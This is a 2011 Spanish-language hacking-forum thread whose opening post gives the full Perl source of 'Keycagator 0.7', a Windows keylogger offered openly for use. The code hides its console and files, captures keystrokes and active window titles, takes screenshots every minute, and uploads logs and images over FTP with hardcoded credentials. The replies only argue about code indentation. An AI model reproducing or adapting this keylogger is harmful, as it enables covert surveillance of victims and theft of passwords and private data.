elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 09:18  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Perl] Keycagator 0.7
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Keycagator 0.7  (Leído 364 veces)
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
[Perl] Keycagator 0.7
« en: 9 Octubre 2011, 17:51 »

Hola a todos , aca les traigo la nueva version de este keylogger
En esta version ya es aceptable con las siguientes opciones

  • Captura letras reconociendo mayusculas y minusculas
  • Captura ventanas en la que se trabaja
  • Toma fotos del sistema cada 1 minuto
  • Sube logs y fotos tomadas por FTP
  • Oculta rastros
Código
#!usr/bin/perl
#KeyCagator 0.7 (C) Doddy Hackman 2011
#
 
use Win32::API;
use Win32::GuiTest qw(GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use threads;
use Net::FTP;
use Win32::File;
use Cwd;
 
my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
my $tengo = 0;
 
if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}
 
hideit($0,"hide");
 
subirftp("logs.txt","logs.txt");
 
my $comando1 = threads->new(\&capture_windows);
my $comando2 = threads->new(\&capture_keys);
my $comando3 = threads->new(\&capture_screen);
 
$comando1->join();
$comando2->join();
$comando3->join();
 
 
sub capture_windows {
 
while(1) {
 
my $win1 = GetForegroundWindow();        
my $win2 = GetForegroundWindow();
 
if($win1 != $win2){
my $nombre = GetWindowText($win1);
chomp($nombre);
if ($nombre ne "") {
#print "\n\n[".$nombre."]\n\n";
savefile("logs.txt","\n\n[".$nombre."]\n\n");
}
}
}
return 1;
}
 
sub capture_keys {
 
while(1) {
 
my $test1;
my $test2;
 
for my $num(0x30..0x39) { #Numbers
 
if (dame($num)) {
#print "number : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
}
 
if (dame(0x14)) {
$test1 = 1;
$tengo++;
}
 
for my $num(0x41..0x5A) { #Words
 
if (dame($num)) {
 
if (dame(0x20)) {
savefile("logs.txt"," ");
}
 
if (dame(0x32)) {
savefile("logs.txt","\n[enter]\n\n");
}
 
unless (verpar($tengo) eq 1) {
#print "MAYUSCULA : ".chr($num)."\n";
savefile("logs.txt",chr($num));
}
 
if (dame(0x10) or dame(0xA0) or dame(0xA1)) {
#print "MAYUSCULA : ".chr($num)."\n";
$test2 = 1;
}
 
unless ($test1 eq 1 or $test2 eq 1) {
if ($num >= 0x41) {
if ($num <= 0x5A) {
if (verpar($tengo) eq 1) {
#print "MINUSCULA : ".chr($num+32)."\n";
savefile("logs.txt",chr($num+32));
}
}
}
}
}
}
}
return 1;
}
 
sub capture_screen {
 
$numero = 0;
 
while(1) {
 
sleep 60;
 
$numero++;
 
SetForegroundWindow(1);
SendKeys('%{PRTSCR}');
 
my $a = Win32::Clipboard::GetBitmap();
 
open (FOTO,">".$numero.".bmp");
binmode(FOTO);
print FOTO $a;
close FOTO;
 
hideit($numero.".bmp","hide");
subirftp($numero.".bmp",$numero.".bmp");
}
}
 
sub dame {
return($come->Call(@_) & 1);
}
 
sub savefile {
 
open (SAVE,">>".$_[0]);
print SAVE $_[1];
close SAVE;
 
hideit($_[0],"hide");
 
}
 
sub hideit {
if ($_[1] eq "show") {
Win32::File::SetAttributes($_[0],NORMAL);
}
elsif ($_[1] eq "hide") {
Win32::File::SetAttributes($_[0],HIDDEN);
}
else {
print "error\n";
}
}
 
sub subirftp {
 
if ($ser = Net::FTP->new("localhost")) {
if ($ser->login("doddy","123")) {
print "subi".getcwd()."/".$_[0]."\n";
if ($ser->put(getcwd()."/".$_[0],$_[1])) {
return true;
}
}
$ser->close;
}
 
 
}
 
sub verpar{
return ($_[0] % 2 == 0) ? "1" : "2";
}
 
 
#Credits : to explorer for helpme with the function verpar()
#Mail : lepuke[at]hotmail[com]
#Blog : doddy-hackman.blogspot.com
# ¿ The End ?
 


« Última modificación: 9 Octubre 2011, 18:13 por Doddy » En línea

Leo Gutiérrez.
. . .. ... ..... ........ ............. .....................
Moderador
***
Desconectado Desconectado

Mensajes: 2.968


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #1 en: 9 Octubre 2011, 18:08 »

Se ve muy feo el código sin indentar, arregla eso.

Saludos.


En línea

Código
(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}
 

leorocko13@hotmail.com
https://github.com/leogtzr/
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: [Perl] Keycagator 0.7
« Respuesta #2 en: 9 Octubre 2011, 18:12 »

ese es mi estilo , leo.
En línea

Leo Gutiérrez.
. . .. ... ..... ........ ............. .....................
Moderador
***
Desconectado Desconectado

Mensajes: 2.968


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #3 en: 9 Octubre 2011, 20:56 »

No es un estilo, es un mal hábito de programación.
En línea

Código
(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}
 

leorocko13@hotmail.com
https://github.com/leogtzr/
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: [Perl] Keycagator 0.7
« Respuesta #4 en: 9 Octubre 2011, 22:03 »

supongo que es cuestion de perspectiva
En línea

Leo Gutiérrez.
. . .. ... ..... ........ ............. .....................
Moderador
***
Desconectado Desconectado

Mensajes: 2.968


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #5 en: 9 Octubre 2011, 22:17 »

supongo que es cuestion de perspectiva

Tienes que corregir eso, luego si quieres trabajar como programador no vas a tener una  buena imagen, tu código se verá horrendo aún pudiendo ser muy eficiente.
En línea

Código
(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}
 

leorocko13@hotmail.com
https://github.com/leogtzr/
Doddy

Desconectado Desconectado

Mensajes: 220



Ver Perfil
Re: [Perl] Keycagator 0.7
« Respuesta #6 en: 9 Octubre 2011, 22:20 »

ok , me podes recomendar manuales o lo que sea para entender como hacer un codigo en perl realmente identado ?
En línea

Leo Gutiérrez.
. . .. ... ..... ........ ............. .....................
Moderador
***
Desconectado Desconectado

Mensajes: 2.968


/^$/


Ver Perfil WWW
Re: [Perl] Keycagator 0.7
« Respuesta #7 en: 9 Octubre 2011, 22:56 »

http://perlenespanol.com/foro/duda-con-estetica-t2078.html
http://dmnet.bitacoras.com/archivos/programacion/estilos-de-indentacion.php
http://es.wikipedia.org/wiki/Indentaci%C3%B3n
En línea

Código
(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}
 

leorocko13@hotmail.com
https://github.com/leogtzr/
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con el Active Perl + Perl
Hacking Básico
Aironjack 3 926 Último mensaje 8 Marzo 2005, 07:52
por Aironjack
Que significa #!/usr/bin/perl ?? como ejecutamos un exploit en perl...
Bugs y Exploits
mousehack 7 2,198 Último mensaje 4 Noviembre 2005, 23:16
por BenRu
-=PERL=-
Scripting
D4RIO 1 3,005 Último mensaje 25 Febrero 2008, 17:27
por D4RIO
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 854 Último mensaje 18 Mayo 2011, 21:49
por madpitbull_99
[Perl] KeyCagator 0.4
Scripting
Doddy 0 120 Último mensaje 9 Octubre 2011, 17:50
por Doddy
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines